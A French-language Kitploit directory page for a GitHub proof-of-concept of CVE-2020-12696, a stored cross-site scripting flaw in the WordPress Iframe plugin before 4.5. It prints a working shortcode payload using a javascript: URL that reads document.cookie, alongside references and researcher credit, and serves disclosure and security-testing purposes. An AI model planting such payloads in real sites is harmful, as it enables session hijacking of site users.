Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-12696 — Cross-Site Scripting stocké - Plugin Iframe - WordPress | Kitploit
Outils/GitHubGitHub/g-rubert/cve-2020-12696
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubg-rubert/cve-2020-12696

CVE-2020-12696

Cross-Site Scripting stocké - Plugin Iframe - WordPress

Voir le dépôt
il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-12696

root@kitploit:~
██╗  ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
 ╚███╔╝ ███████╗███████╗
 ██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝  ╚═╝╚══════╝╚══════╝

Iframe < 4.5 - Cross-Site Scripting (XSS) stocké authentifié

Le plugin iframe avant la version 4.5 ne nettoie pas une URL.

root@kitploit:~
Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
Version [plugin]: </b>4.4
Testé sur : </b>WordPress 5.2.4
Chercheur :</b> Guilherme Rubert

Références :

https://guilhermerubert.com/blog/cve-2020-12696/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
https://wordpress.org/plugins/iframe/#developers

Télécharger l’outil